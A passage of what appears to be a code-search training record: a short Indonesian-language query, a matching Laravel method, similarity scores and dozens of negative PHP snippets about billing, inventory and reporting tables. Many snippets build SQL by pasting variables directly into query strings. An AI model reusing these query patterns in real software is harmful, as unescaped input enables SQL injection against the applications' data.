$this->db->query(\"UPDATE `pelanggan` SET \" . implode(\", \", $upd) . \" WHERE `ID_PELANGGAN` = '$idpel'\");\n\t\t}\n\t\t\t\n\t\t\t\n\t\t// insert ke bacameter jika bacameter masih kosong\n\t\t//$run = $this->db->query(\"SELECT COUNT(`ID_BACAMETER`) AS `HASIL` FROM `bacameter` WHERE `ID_PELANGGAN` = '$idpel' AND `KIRIM_BACAMETER` = 'N'\", TRUE);\t\n\t\t//$run = $this->db->query(\"SELECT COUNT(`ID_BACAMETER`) AS `HASIL` FROM `bacameter` WHERE `ID_PELANGGAN` = '$idpel' AND `ID_BLTH` = '$id_blth'\", TRUE);\n\n\t\t//if ($run->HASIL == 0) {\t\t\n \t\t\t$lwbp0 = floatval($lwbp0) . '.00';\n\t\t\t$wbp0 = floatval($wbp0) . '.00';\n\t\t\t$kvarh0 = floatval($kvarh0) . $dgtkvarh0;\n \t\t\t$ins = $this->db->query(\"INSERT INTO `bacameter` VALUES(0, '0', '0', '$idpel', '$id_blth', NOW(), '$lwbp0', '$wbp0', '$kvarh0', '', NOW(), '0', 'N',0)\");\n\t\t//}\n\t\t/*else {\n\t\t//backup bacameter ke history\n\t\t\t$ceka = $this->db->query(\"SELECT COUNT(`ID_BACAMETER`) AS `HASIL` FROM `history` WHERE `ID_PELANGGAN` = '$idpel' AND `ID_BLTH` = '$id_blth'\", TRUE);\n\t\t\tif ($ceka->HASIL == 0) {\n\t\t\t$ins = $this->db->query(\"INSERT INTO `history` select * from `bacameter` where `ID_PELANGGAN` = '$idpel' AND `ID_BLTH` = '$id_blth' AND `KIRIM_BACAMETER`!='N'\");\n\t\t\t}\n \t\t\t$ins = $this->db->query(\"update `bacameter` set lwbp_bacameter='$lwbp0', wbp_bacameter='$wbp0' , kvarh_bacameter='$kvarh0', terkirim_bacameter=NOW(), kirim_bacameter='N' where id_pelanggan='$idpel' and id_blth='$id_blth'\");\n\t\t}*/\n\t}", "public function getKdBrgTanah()\n {\n return $this->kd_brg_tanah;\n }" ]
[ "0.70568246", "0.65425307", "0.6485536", "0.63229597", "0.6276909", "0.6130645", "0.6126442", "0.6103369", "0.6096986", "0.60964197", "0.60923415", "0.5991722", "0.598506", "0.59040743", "0.58979505", "0.5896856", "0.58936113", "0.58844846", "0.5878072", "0.58755064", "0.5869745", "0.586325", "0.58403003", "0.5835612", "0.5826374", "0.58082545", "0.5798691", "0.5795083", "0.5750408", "0.5747792", "0.57420236", "0.5735988", "0.56839836", "0.5680246", "0.5663628", "0.5652161", "0.5646627", "0.5637609", "0.56303906", "0.5625689", "0.5621743", "0.56168264", "0.5610993", "0.56058145", "0.56033385", "0.5601884", "0.5600382", "0.55965817", "0.55957294", "0.55868816", "0.558513", "0.5584248", "0.5579817", "0.5579811", "0.557847", "0.557219", "0.55707586", "0.5564235", "0.5564214", "0.5563923", "0.5562102", "0.5557213", "0.55572087", "0.5555396", "0.55461353", "0.5523741", "0.55204076", "0.5515906", "0.5511008", "0.5508759", "0.55078524", "0.5506761", "0.55042124", "0.55024695", "0.5496912", "0.5493968", "0.5487589", "0.54855573", "0.54800385", "0.5475548", "0.5474525", "0.54718465", "0.54715633", "0.5466159", "0.54620254", "0.5461929", "0.54596984", "0.5455213", "0.54545444", "0.54378104", "0.54357594", "0.54300886", "0.54297817", "0.5422176", "0.5412607", "0.54121363", "0.5411508", "0.5410669", "0.54098994", "0.54091954" ]
0.61414725
5
Get all rba with status perubahan murni
public function getRbaMurni($request, $kodeUnit = null) { $rba = Rba::whereHas('statusAnggaran', function ($query) { $query->where('is_copyable', true); })->with(['statusAnggaran', 'mapKegiatan.blud']); if ($kodeUnit) { $rba->where('kode_unit_kerja', $kodeUnit); } if ($request->unit_kerja) { $rba->where('kode_unit_kerja', $request->unit_kerja); } if ($request->start_date) { $rba->where('created_at', '>=', $request->start_date); } if ($request->end_date) { $rba->where('created_at', '<=', $request->end_date); } return $rba->get(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function by_status_berlaku()\n {\n $this->db->select(\"COUNT(id) AS total,COUNT( CASE WHEN status_berlaku = '1' THEN 1 END ) AS berlaku,COUNT( CASE WHEN status_berlaku = '0' THEN 1 END ) AS tidak_berlaku\");\n $this->db->from($this->table);\n return $this->db->get()->row();\n }", "function getStatus() {\n \t\n \t$status = array();\n \n $sql = \"SELECT COUNT(*) as num_contact FROM mp_pile WHERE `statut` = 'a_contacter'\";\n $sel = mysql_query($sql);\n $result = mysql_fetch_array($sel);\n \n $status[\"to_contact\"] = $result['num_contact'];\n\n $sql = \"SELECT COUNT(*) as num_contact FROM mp_pile WHERE `statut` = 'contacte'\";\n $sel = mysql_query($sql);\n $result = mysql_fetch_array($sel);\n \n $status[\"contacted\"] = $result['num_contact'];\n \n $sql = \"SELECT COUNT(*) as num_contact FROM mp_pile WHERE `statut` = 'a_rappeler'\";\n $sel = mysql_query($sql);\n $result = mysql_fetch_array($sel);\n \n $status[\"call_back\"] = $result['num_contact'];\n \n $sql = \"SELECT COUNT(*) as num_contact FROM mp_pile WHERE `statut` = 'termine'\";\n $sel = mysql_query($sql);\n $result = mysql_fetch_array($sel);\n \n $status[\"deleted\"] = $result['num_contact'];\n \n $sql = \"SELECT COUNT(*) as num_motif FROM mp_activation_motifs\";\n $sel = mysql_query($sql);\n $result = mysql_fetch_array($sel);\n\n $status[\"number_motif\"] = $result['num_motif'];\n \n \n return $status;\n }", "function getByStatus($status){\n // Please make this clear, where can in find this status, status darimana? status dari peminjaman atau status dari pengembalian atau status dari inventori?\n $this->db->where('status_barang',$status);\n $query = $this->db->get('pengembalian'); // Please make this clear where to find or how to find which table contains status.\n return array();\n}", "public function buscarBancos() {\r\n return $this->find(\"b_estatus = 'activa'\");\r\n }", "public function getAllStatusKeluar() {\r\n \r\n\t\tif ($stmt = $this->conn->query(\"SELECT nama_status_keluar from acuan.status_keluar\")) {\r\n \r\n\t\t\t$output = array();\r\n\t\t\twhile ($baris = mysqli_fetch_assoc($stmt)) {\r\n\t\t\t\tarray_push($output,array(\"status_keluar\"=>$baris['nama_status_keluar']));\r\n\t\t\t}\r\n\t\t\techo json_encode(array('result'=>$output));\r\n\t\t}\r\n }", "public function getAllStatusPegawai() {\r\n \r\n\t\tif ($stmt = $this->conn->query(\"SELECT nama_stats_pegawai from acuan.status_pegawai\")) {\r\n \r\n\t\t\t$output = array();\r\n\t\t\twhile ($baris = mysqli_fetch_assoc($stmt)) {\r\n\t\t\t\tarray_push($output,array(\"status_pegawai\"=>$baris['nama_stats_pegawai']));\r\n\t\t\t}\r\n\t\t\techo json_encode(array('result'=>$output));\r\n\t\t}\r\n }", "public function getPraktikum()\n\t{\n\t\t$sql = \"SELECT * FROM praktikum WHERE\nstatus = 1\";\n\t $query = koneksi()->query($sql);\n\t $hasil = [];\n\t while ($data = $query->fecth_assoc())\n\t\t$hasil[] = $data;\n\t }", "function statuses() {\n //return parent::statusesWithCount( self::tableName(), self::arrayStatuses() );\n\n global $wpdb;\n\n $table_name = self::tableName();\n $statuses = self::arrayStatuses();\n $field_name = 'status';\n /*\n * @ToDo Decommentare qui se non vogliamo i conteggi dinamici in base al filtro\n * @ToDo La query è molto onerosa\n *\n *\n */\n $table_orders = BNMExtendsOrders::tableName();\n $sql = <<< SQL\n SELECT DISTINCT( {$table_orders}.{$field_name} ),\n COUNT(*) AS count\n FROM `{$table_name}`\n LEFT JOIN `{$table_orders}`\n ON {$table_orders}.id = {$table_name}.id_order\n GROUP BY {$table_orders}.{$field_name}\nSQL;\n\n\n\n $result = $wpdb->get_results( $sql, ARRAY_A );\n\n foreach ( $result as $status ) {\n if ( !empty( $status['status'] ) ) {\n $statuses[$status['status']]['count'] = $status['count'];\n }\n }\n\n $statuses['all']['count'] = self::count( $table_name );\n\n return $statuses;\n }", "public function fetch_banks(){\n $query = $this->db->where('status_id', 1)->get('banks');\n if($query){\n return $query->result_array();\n }else{\n return false;\n }\n }", "public static function getStatuses(): array;", "public function getTotalBiayaMhs ($status='baru') { \n\t\t$tahun_masuk=$this->DataMHS['tahun_masuk'];\n $semester_masuk=$this->DataMHS['semester_masuk'];\n\t\t$kelas=$this->DataMHS['idkelas'];\n switch ($status) {\n case 'lama' :\n $str = \"SELECT SUM(biaya) AS jumlah FROM kombi_per_ta WHERE tahun=$tahun_masuk AND idsmt=$semester_masuk AND idkelas='$kelas' AND idkombi != 1 AND idkombi != 12 AND idkombi != 13 AND idkombi != 14 AND (idkombi=2 OR idkombi=3 OR idkombi=7 OR idkombi=9)\";\n break;\n case 'baru' :\n if ($this->getDataMhs('perpanjang')==true) {\n $str = \"SELECT SUM(biaya) AS jumlah FROM kombi_per_ta WHERE tahun=$tahun_masuk AND idsmt=$semester_masuk AND idkelas='$kelas' AND idkombi != 1 AND idkombi != 12 AND idkombi != 13 AND idkombi != 14 AND (idkombi=2 OR idkombi=3 OR idkombi=7 OR idkombi=9)\";\n }else {\n $str = \"SELECT SUM(biaya) AS jumlah FROM kombi_per_ta WHERE tahun=$tahun_masuk AND idsmt=$semester_masuk AND idkelas='$kelas' AND idkombi != 1 AND idkombi != 12 AND idkombi != 13 AND idkombi != 14\";\t\t\t\t\t\t\t\t\n }\t\t\n break;\n case 'sp' :\n $str = \"SELECT biaya AS jumlah FROM kombi_per_ta WHERE tahun=$tahun_masuk AND idsmt=$semester_masuk AND idkelas='$kelas' AND idkombi=14\";\n break;\n }\t\t\n\t\t$this->db->setFieldTable(array('jumlah'));\n\t\t$r=$this->db->getRecord($str);\t\n \n\t\treturn $r[1]['jumlah'];\n\t}", "public function getBankListByStatus($status){\n return $this->where('is_deleted', $status)->orderBy('created_at','desc')->get();\n }", "public function getAll(): array {\n $query = $this->db\n ->select('*')\n ->where('status <>', 0)\n ->get($this->tblName);\n return $query->result_array();\n }", "abstract public static function getStatuses();", "function get_all_branch_wilayah()\n {\n \t$param = array();\n\t\t$branch_code = $this->session->userdata('branch_code');\n\t\t$flag_all_branch = $this->session->userdata('flag_all_branch');\n\n $sql = \"SELECT \n \t\t\t\t branch_id\n \t\t\t\t,branch_code \n \t\t\t\t,branch_name\n \t\tFROM \n \t\t\t\t mfi_branch\n\t\t\t\tWHERE \n\t\t\t\t\t\tbranch_class=1\n\t\t\t\t\";\n\n\t\tif($flag_all_branch!='1'){ // tidak punya akses seluruh cabang\n\t\t\t$sql .= \" AND branch_code in(select branch_code from mfi_branch_member where branch_induk=?)\";\n\t\t\t$param[] = $branch_code;\n\t\t}\n\n\t\t$sql .= \" ORDER BY 2 \";\n\n\t\t$query = $this->db->query($sql,$param);\n\n\t\treturn $query->result_array();\n }", "public function statusBulu(){\r\n\t\t\treturn parent::lihatBulu();\r\n\t\t}", "public function getAllStatus()\n {\n $sql = \"SELECT s.id, s.status_name , s.color FROM status AS s ORDER BY s.id ASC\";\n $query = $this->db->prepare($sql);\n $query->execute();\n\n // fetchAll() is the PDO method that gets all result rows, here in object-style because we defined this in\n // core/controller.php! If you prefer to get an associative array as the result, then do\n // $query->fetchAll(PDO::FETCH_ASSOC); or change core/controller.php's PDO options to\n // $options = array(PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC ...\n return $query->fetchAll();\n }", "public function item_status($bnum) {\n\n $iii_server_info = self::iii_server_info();\n $avail_token = locum::csv_parser($this->locum_config['iii_custom_config']['iii_available_token']);\n $default_age = $this->locum_config['iii_custom_config']['default_age'];\n $default_branch = $this->locum_config['iii_custom_config']['default_branch'];\n $loc_codes_flipped = array_flip($this->locum_config['iii_location_codes']);\n $bnum = trim($bnum);\n\n // Grab Hold Numbers\n $url = $iii_server_info['nosslurl'] . '/search~24/.b' . $bnum . '/.b' . $bnum . '/1,1,1,B/marc~' . $bnum . '&FF=&1,0,';\n $hold_page_raw = utf8_encode(file_get_contents($url));\n\n // Reserves Regex\n $regex_r = '/(?<hold_num>\\d+) hold/';\n preg_match($regex_r, $hold_page_raw, $match_r);\n $avail_array['holds'] = $match_r['hold_num'] ? $match_r['hold_num'] : 0;\n\n // Order Entry Regex\n $avail_array['on_order'] = 0;\n $regex_o = '%bibOrderEntry(.*?)td(.*?)>(.*?)<%s';\n preg_match_all($regex_o, $hold_page_raw, $match_o);\n foreach($match_o[3] as $order) {\n $order_txt = trim($order);\n preg_match('%^(.*?)cop%s', $order_txt, $order_count);\n $avail_array['on_order'] = $avail_array['on_order'] + (int) trim($order_count[1]);\n $avail_array['orders'][] = $order_txt;\n }\n\n $url = $iii_server_info['nosslurl'] . '/search~24/.b' . $bnum . '/.b' . $bnum . '/1,1,1,B/holdings~' . $bnum . '&FF=&1,0,';\n $avail_page_raw = utf8_encode(file_get_contents($url));\n\n // Holdings Regex\n $regex_h = '%field 1 -->&nbsp;(.*?)</td>(.*?)browse\">(.*?)</a>(.*?)field \\% -->&nbsp;(.*?)</td>%s';\n preg_match_all($regex_h, $avail_page_raw, $matches);\n\n foreach ($matches[1] as $i => $location) {\n // put the item details in the array\n $location = trim($location);\n $loc_code = $loc_codes_flipped[$location];\n $call = str_replace(\"'\", \"&apos;\", trim($matches[3][$i]));\n $status = trim($matches[5][$i]);\n $age = $default_age;\n $branch = $default_branch;\n\n if (in_array($status, $avail_token)) {\n $avail = 1;\n $due_date = 0;\n } else {\n $avail = 0;\n if (preg_match('/DUE/i', $status)) {\n $due_arr = explode(' ', trim($status));\n $due_date_arr = explode('-', $due_arr[1]);\n $due_date = mktime(0, 0, 0, $due_date_arr[0], $due_date_arr[1], (2000 + (int) $due_date_arr[2]));\n } else if(preg_match('/LIB USE ONLY/i', $status)) {\n $due_date = 0;\n $libuse = 1;\n } else {\n $due_date = 0;\n }\n }\n\n // Determine age from location\n if (count($this->locum_config['iii_record_ages'])) {\n foreach ($this->locum_config['iii_record_ages'] as $item_age => $match_crit) {\n if (preg_match('/^\\//', $match_crit)) {\n if (preg_match($match_crit, $loc_code)) { $age = $item_age; }\n } else {\n if (in_array($loc_code, locum::csv_parser($match_crit))) { $age = $item_age; }\n }\n }\n }\n\n // Determine branch from location\n if (count($this->locum_config['branch_assignments'])) {\n foreach ($this->locum_config['branch_assignments'] as $branch_code => $match_crit) {\n if (preg_match('/^\\//', $match_crit)) {\n if (preg_match($match_crit, $loc_code)) { $branch = $branch_code; }\n } else {\n if (in_array($loc_code, locum::csv_parser($match_crit))) { $branch = $branch_code; }\n }\n }\n }\n\n $avail_array['items'][] = array(\n 'location' => $location,\n 'loc_code' => $loc_code,\n 'callnum' => $call,\n 'statusmsg' => $status,\n 'due' => $due_date,\n 'avail' => $avail,\n 'age' => $age,\n 'branch' => $branch,\n 'libuse' => $libuse,\n );\n }\n\n return $avail_array;\n\n }", "function getAll(){\n\n\t\t\t$this->db->order_by(\"status\", \"asc\");\n\t\t\t$query = $this->db->get_where($this->table);\n\t\t\treturn $query;\n\t\t}", "public function getTotalBiayaMhsPeriodePembayaran ($status='baru') { \n\t\t$tahun_masuk=$this->DataMHS['tahun_masuk'];\n $semester_masuk=$this->DataMHS['idsmt'];\n\t\t$kelas=$this->DataMHS['idkelas'];\n switch ($status) {\n case 'lama' :\n $str = \"SELECT SUM(biaya) AS jumlah FROM kombi_per_ta kpt,kombi k WHERE k.idkombi=kpt.idkombi AND tahun=$tahun_masuk AND idsmt=$semester_masuk AND idkelas='$kelas' AND periode_pembayaran='semesteran'\";\n break;\n case 'baru' :\n if ($this->getDataMhs('perpanjang')==true) {\n $str = \"SELECT SUM(biaya) AS jumlah FROM kombi_per_ta kpt,kombi k WHERE k.idkombi=kpt.idkombi AND tahun=$tahun_masuk AND idsmt=$semester_masuk AND idkelas='$kelas' AND periode_pembayaran!='none'\";\n }else {\n $str = \"SELECT SUM(biaya) AS jumlah FROM kombi_per_ta kpt,kombi k WHERE k.idkombi=kpt.idkombi AND tahun=$tahun_masuk AND idsmt=$semester_masuk AND idkelas='$kelas' AND periode_pembayaran!='none'\";\t\t\t\t\t\t\t\t\n }\t\t\n break;\n case 'sp' :\n $str = \"SELECT biaya AS jumlah FROM kombi_per_ta WHERE tahun=$tahun_masuk AND idsmt=$semester_masuk AND idkelas='$kelas' AND idkombi=14\";\n break;\n }\t\t\n\t\t$this->db->setFieldTable(array('jumlah'));\n\t\t$r=$this->db->getRecord($str);\t\n \n\t\treturn $r[1]['jumlah'];\n\t}", "public function getStatusesList(){\n return $this->_get(1);\n }", "function get_status($udid = '', $txid = '', $added = 0, $start = 0, $limit = 10) {\n $query['mode'] = 'status';\n if ($udid) {\n $query['udid'] = $udid;\n }\n\n if ($txid) {\n $query['transaction_id'] = $txid;\n }\n if ($added) {\n $query['added'] = $added;\n }\n\n\n $query['start'] = $start;\n $query['limit'] = $limit;\n $response = $this->api_query($query);\n\n //var_dump($query);\n\n if ($response['error']) {\n return false;\n }\n return ($response['data']);\n }", "public function getListRpr()\n {\n $db = $this->dblocal;\n try\n {\n $stmt = $db->prepare(\"SELECT @rownum := @rownum + 1 AS urutan,t.* FROM m_redeemed_receipt t, \n (SELECT @rownum := 0) r ORDER BY id_rpr ASC\");\n $stmt->execute();\n $stat[0] = true;\n $stat[1] = $stmt->fetchAll(PDO::FETCH_ASSOC);\n return $stat;\n }\n catch(PDOException $ex)\n {\n $stat[0] = false;\n $stat[1] = $ex->getMessage();\n return $stat;\n }\n }", "function monitor_list_statuses() {\n $query = \"select distinct(`wf_status`) from `\".GALAXIA_TABLE_PREFIX.\"instances`\";\n $result = $this->query($query);\n $ret = Array();\n while($res = $result->fetchRow()) {\n $ret[] = $res['wf_status'];\n }\n return $ret;\n }", "public function get_all_status()\n {\n $this->db->order_by('idstatus', 'asc');\n return $this->db->get('cat_status')->result_array();\n }", "function get_all_perumahan__pembangunan_rumah($params = array())\n {\n $this->db->order_by('id_pembangunan', 'desc');\n if(isset($params) && !empty($params))\n {\n $this->db->limit($params['limit'], $params['offset']);\n }\n return $this->db->get('perumahan__pembangunan_rumah')->result_array();\n }", "function get_status()\n {\n foreach ($this->data as $row => $value)\n {\n $data['completed'][$value] = $this->recruitment_model->check_filled($this->user_id,$value);\n }\n return $data['completed'];\n }", "function get_board_list($status = 'all')\n {\n if($status != 'all') $this->db->where(\"board_active\",$status);\n\n $query = $this->db->get('board');\n //echo $this->db->last_query();\n if ($query->num_rows() > 0)\n {\n $result = $query->result_array();\n return $result;\n }\n }", "public function statusPaket()\n {\n $user = $this->session->userdata('IdPerusahaan');\n\n $this->db->select('*');\n $this->db->from('tb_perusahaan');\n $this->db->join('tb_paket', 'tb_paket.IdPaket = tb_perusahaan.IdPaket');\n $this->db->where('IdPerusahaan', $user);\n\n $query = $this->db->get();\n return $query;\n }", "function getUserStatus(){\n\t\t//$org_id=$this->session->userdata('organisation_id');\n\t\t//$qry=$this->db->where( 'organisation_id', $org_id );\n\t\t//---\n\t\t$qry=$this->db->get('user_statuses');\n\t\t$count=$qry->num_rows();\n\t\t\t$s= $qry->result_array();\n\t\t\n\t\t\tfor($i=0;$i<$count;$i++){\n\t\t\t\n\t\t\t$status[$s[$i]['id']]=$s[$i]['name'];\n\t\t\t}\n\t\t\treturn $status;\n\t}", "public function belum_bayar()\n\t{\n\t\t$this->db->select('*');\n\t\t$this->db->from('tbl_transaksi');\n\t\t$this->db->where(\n\t\t\t'id_pelanggan',\n\t\t\t$this->session->userdata('id_pelanggan'),\n\t\t);\n\t\t$this->db->where('status_order=0');\n\n\n\t\t$this->db->order_by('id_transaksi', 'desc');\n\t\treturn $this->db->get()->result();\n\t}", "public function returnAnuncioAll($status = \"online\"){\n\n $objAnuncio = new StatusAnuncioDAO();\n #retorna o id dos registros que representam o estado online ou inativo, sendo o valor default sempre online.\n $this->arrayStatusId = $objAnuncio->retornaRegStatus($status);\n\n\n #faz a junção das tabelas relacionadas ao anuncio, verificando usuário e se vai retornar os anuncios ativos ou inativos.\n $sql = \"SELECT * FROM Anuncio\n INNER JOIN Forma_pagamento ON Anuncio.anuncio_id = Forma_pagamento.forma_pag_anuncio_ref\n INNER JOIN Link ON Anuncio.anuncio_id = Link.link_anuncio_ref\n INNER JOIN Endereco ON Anuncio.anuncio_endereco = Endereco.endereco_id\n INNER JOIN Horario_funcionamento ON Anuncio.anuncio_id = Horario_funcionamento.horario_func_anuncio_ref\n INNER JOIN Cont_views ON Anuncio.anuncio_id = Cont_views.cont_views_anuncio_ref\n INNER JOIN Plano_saude ON Anuncio.anuncio_id = Plano_saude.plano_saude_anuncio_ref\n INNER JOIN Facilidades ON Anuncio.anuncio_id = Facilidades.facilidades_anuncio_ref\n INNER JOIN Sub_categoria ON Anuncio.anuncio_categoria = Sub_categoria.sub_categoria_id\n INNER JOIN Categoria ON Sub_categoria.sub_categoria_cat_ref = Categoria.tipo_categoria_id\n WHERE Anuncio.anuncio_excluido = 0 AND (\";\n\n\n #verifica se os argumentos foram passados com sucesso. Somemte se os argumentos estiverem corretos que será executado a consulta.\n if($status === \"online\" || $status === \"inativo\"){\n\n for ($i = 0; $i < count($this->arrayStatusId); $i++) {\n\n $sql .= \" Anuncio.anuncio_status = \" . $this->arrayStatusId[$i]['status_anuncio_id'];//estamos trabalhando com arrays associativos.\n\n #se $i + 1 for iqual ao tamanho total do array, significa que a proxima iteração será a ultima.\n if (($i + 1) != count($this->arrayStatusId)) {\n $sql .= \" OR \";\n } else {\n #Na ultima iteração recebe o ';'\n $sql .= \") ORDER BY Anuncio.anuncio_titulo ASC, Anuncio.anuncio_id ASC;\";\n }\n\n }\n\n #caso ocorrer tudo certo retorna a visualização da tabela.\n if($row = $this->runSelect($sql)){\n\n\n return $row;\n\n } else {\n\n // echo \"A consulta não retonou dados para o inner join curriculo \" . $sql;\n }\n\n } else {\n\n // echo \"Favor verificar os agumentos passados\";\n\n }\n\n\n }", "public function getAll()\n {\n return $this->db->get_where($this->_table, [\"status\" => 1])->result();\n }", "function getAllPengajuanBMT(){\n// ->rightjoin('users','users.id','=','penyimpanan_bmt.id_user')\n// ->join('bmt','bmt.id','=','penyimpanan_bmt.id_bmt')->limit(25)->get();\n $id_rekening= $this->rekening->select('id')->where('tipe_rekening','detail')->get()->toArray();\n $data = BMT::whereIn('id_rekening',$id_rekening)->get();\n return $data;\n }", "public function kembalikan_status_all()\n\t{\n\t\tunset($_SESSION['success']);\n\t\t$id_cb = $_POST['id_cb'];\n\t\tforeach ($id_cb as $id)\n\t\t{\n\t\t\t$this->kembalikan_status($id);\n\t\t}\n\t}", "function get_jumlah_status($id_lap)\n {\n\t\t$this->db->select('*');\n\t\t$this->db->from('pelaporan');\n\t\t$this->db->where('id_lap',$id_lap);\t\t\n\t\t$jml_pelapor = $this->db->count_all_results(); //JUMLAH PELAPOR\n\t\t\n\t\t$this->db->select('*');\n\t\t$this->db->from('pelaporan p');\n\t\t$this->db->where('p.id_lap',$id_lap);\n\t\t$this->db->where('p.id_status',1); //belum lapor\n\t\t$this->db->join('skpd s', 's.id_skpd=p.id_skpd', 'left');\t\t\n\t\t$this->db->join('status t', 't.id_status=p.id_status', 'left');\n\t\t$this->db->join('jabatan j', 'j.id_jab=p.id_jab', 'left');\n\t\t$this->db->order_by('p.id_pelaporan','desc'); \n\t\t$query = $this->db->get();\n\t\t$jml_belum_lapor = $query->num_rows(); //JUMLAH status belum lapor\n\t\t$data_belum_lapor = $query->result(); //DATA STATUS BELUM LAPOR\n\t\t\n\t\t$this->db->select('*');\n\t\t$this->db->from('pelaporan p');\t\t\n\t\t$this->db->where('p.id_status',2); //sudah lapor\n\t\t$this->db->where('p.id_lap',$id_lap);\n\t\t$this->db->or_where('p.id_status',3); // diminta perbaiki\n\t\t$this->db->where('p.id_lap',$id_lap);\n\t\t$this->db->or_where('p.id_status',5); //direvisi\n\t\t$this->db->where('p.id_lap',$id_lap);\n\t\t$this->db->or_where('p.id_status',7); //direvisi\n\t\t$this->db->where('p.id_lap',$id_lap);\n\t\t$this->db->join('skpd s', 's.id_skpd=p.id_skpd', 'left');\t\t\n\t\t$this->db->join('status t', 't.id_status=p.id_status', 'left');\n\t\t$this->db->join('jabatan j', 'j.id_jab=p.id_jab', 'left');\n\t\t$this->db->order_by('p.tgl_upload','asc'); \n\t\t$query = $this->db->get();\n\t\t$jml_sudah_lapor = $query->num_rows(); //JUMLAH status sudah, revisi dan perbaiki\n\t\t$data_sudah_lapor = $query->result(); //DATA STATUS sudah, revisi dan perbaiki\n\t\t\t\t\n\t\t$this->db->select('*');\n\t\t$this->db->from('pelaporan p');\n\t\t$this->db->where('p.id_lap',$id_lap);\n\t\t$this->db->where('p.id_status',4); //oke\n\t\t$this->db->join('skpd s', 's.id_skpd=p.id_skpd', 'left');\t\t\n\t\t$this->db->join('status t', 't.id_status=p.id_status', 'left');\n\t\t$this->db->join('jabatan j', 'j.id_jab=p.id_jab', 'left');\n\t\t$this->db->order_by('p.id_skpd','asc'); \n\t\t$query = $this->db->get();\n\t\t$jml_oke = $query->num_rows(); //JUMLAH status oke\n\t\t$data_oke = $query->result(); //DATA STATUS oke\n\t\t\n\t\treturn array(\n\t\t\t'jml_belum_lapor' => $jml_belum_lapor,\n\t\t\t'jml_sudah_lapor' => $jml_sudah_lapor,\n\t\t\t'jml_oke' => $jml_oke,\n\t\t\t'data_belum_lapor' => $data_belum_lapor,\n\t\t\t'data_sudah_lapor' => $data_sudah_lapor,\n\t\t\t'data_oke' => $data_oke,\n\t\t\t'jml_pelapor' => $jml_pelapor,\n\t\t);\n }", "function getAllActiveRasInfos()\n{\n $ras_infos=array();\n $ras_ips_request=new GetActiveRasIPs();\n list($success,$ras_ips)=$ras_ips_request->send();\n if(!$success)\n return array(FALSE,$ras_ips);\n $ras_info_request=new GetRasInfo(\"\");\n foreach($ras_ips as $ras_ip)\n {\n $ras_info_request->changeParam(\"ras_ip\",$ras_ip);\n list($success,$ras_info)=$ras_info_request->send();\n if(!$success)\n return array(FALSE,$ras_info);\n $ras_infos[]=$ras_info;\n }\n return array(TRUE,$ras_infos);\n}", "public function _data($status = null){\n\t\t$no_vendor = $this->session->userdata('VENDOR_NO');\n\t\t$sql = 'SELECT * FROM(';\n\t\t$sql .= $this->getGrQuery($status);\n\t\t$sql .= \")A WHERE A.LIFNR = '$no_vendor'\";\n\t\t//echo $sql;die();\n\t\treturn $this->db->query($sql,false)->result_array();\n\t}", "public function getStatuses() {\n\t}", "public function getAllMerekBajuAktif()\n {\n $sql = \"SELECT DISTINCT mb.id_merek_baju AS idMerekBaju, mb.nama_merek_baju AS merekBaju \n FROM merek_baju mb \n JOIN baju ba ON mb.id_merek_baju = ba.id_merek_baju\";\n $query = koneksi()->query($sql);\n $hasil = [];\n while ($data = $query->fetch_assoc()) {\n $hasil[] = $data;\n }\n return $hasil;\n }", "function getAllUser_PrivilageByStatus() {\n\t\t$SQL=\"SELECT * FROM user_privilage_tab WHERE status = 'Yes'\";\n\t\t$this->db->executeQuery($SQL);\n\n\t\t$result = array();\n\t\t$count = 0;\n\n\t\twhile($rs = $this->db->nextRecord())\n\t\t{\n\t\t\t$user_privilage = new User_Privilage();\n\t\t\t$user_privilage->setId($rs['id']);\n\t\t\t$user_privilage->setOrder_no($rs['order_no']);\n\t\t\t$user_privilage->setCode($rs['code']);\n\t\t\t$user_privilage->setUser_id($rs['user_id']);\n\t\t\t$user_privilage->setPrivilage_id($rs['privilage_id']);\n\t\t\t$user_privilage->setIs_view($rs['is_view']);\n\t\t\t$user_privilage->setIs_save($rs['is_save']);\n\t\t\t$user_privilage->setIs_edit($rs['is_edit']);\n\t\t\t$user_privilage->setIs_delete($rs['is_delete']);\n\t\t\t$user_privilage->setData_date($rs['data_date']);\n\t\t\t$user_privilage->setStatus($rs['status']);\n\t\t\t$user_privilage->setDate_($rs['date_']);\n\t\t\t$result[$count++] = $user_privilage;\n\t\t}\n\n\t\t$this->db->closeRs();\n\t\treturn $result;\n\n\t}", "function getAllTiendas() {\n \n $sql = \"call spGetAllNivelesEnse(@out_status);\";\n $rs = $this->db->Execute($sql);\n \t$data = $rs->getArray();\n\t\t$rs->Close();\n \treturn $data; \n \n }", "public function get_stats()\n { \n $sql = \"SELECT COUNT(CASE WHEN `status` = 'Enabled' THEN 1 END) AS 'Enabled',\n COUNT(CASE WHEN `status` = 'Disabled' THEN 1 END) AS 'Disabled'\n FROM findmymac\n LEFT JOIN reportdata USING (serial_number)\n \".get_machine_group_filter();\n\n $queryobj = new Findmymac_model();\n $out = [];\n foreach($queryobj->query($sql)[0] as $label => $value){\n $out[] = ['label' => $label, 'count' => $value];\n }\n \n jsonView($out);\n }", "public function get_all_inactive() {\n $this->db->select('id, regimen, descripcion, tipo');\n $this->db->from('regimenes_fiscales');\n $this->db->where('status', -1);\n $result = $this->db->get();\n return $result->result_array();\n }", "public function getRbaUpdate($id, $status, $kodeRba)\n {\n $rba = Rba::where('id', $id)\n ->where('status_anggaran_id', $status)\n ->where('kode_rba', $kodeRba)\n ->first();\n\n return $rba;\n }", "public function list_by_status($status=null, $return_by_id=false) {\n\t\t$res = array();\n\n\t\t$this->db->from(self::T_NAME);\n\t\t$this->db->where('shop_id',$this->shop_id);\n\t\tif (!empty($status)){\n\t\t\t$this->db->where_in('status',$status);\n\n\t\t}\n\t\t$this->db->order_by('mtime','desc');\n\t\t$query = $this->db->get();\n\t\tif($query && $query->num_rows() > 0){ \n\t\t\t$res = $query->result_object();\n\t\t} \n\n\t\tif ($return_by_id) {\n\t\t\t$res_new = array();\n\t\t\tforeach ($res as $obj) {\n\t\t\t\t$res_new[$obj->id] = $obj;\n\t\t\t}\n\t\t\treturn $res_new;\n\t\t}\n\t\treturn $res;\n\t}", "function get_all_tb_am_bons($params = array())\n {\n $this->db->order_by('bon_id', 'desc');\n if(isset($params) && !empty($params))\n {\n $this->db->limit($params['limit'], $params['offset']);\n }\n return 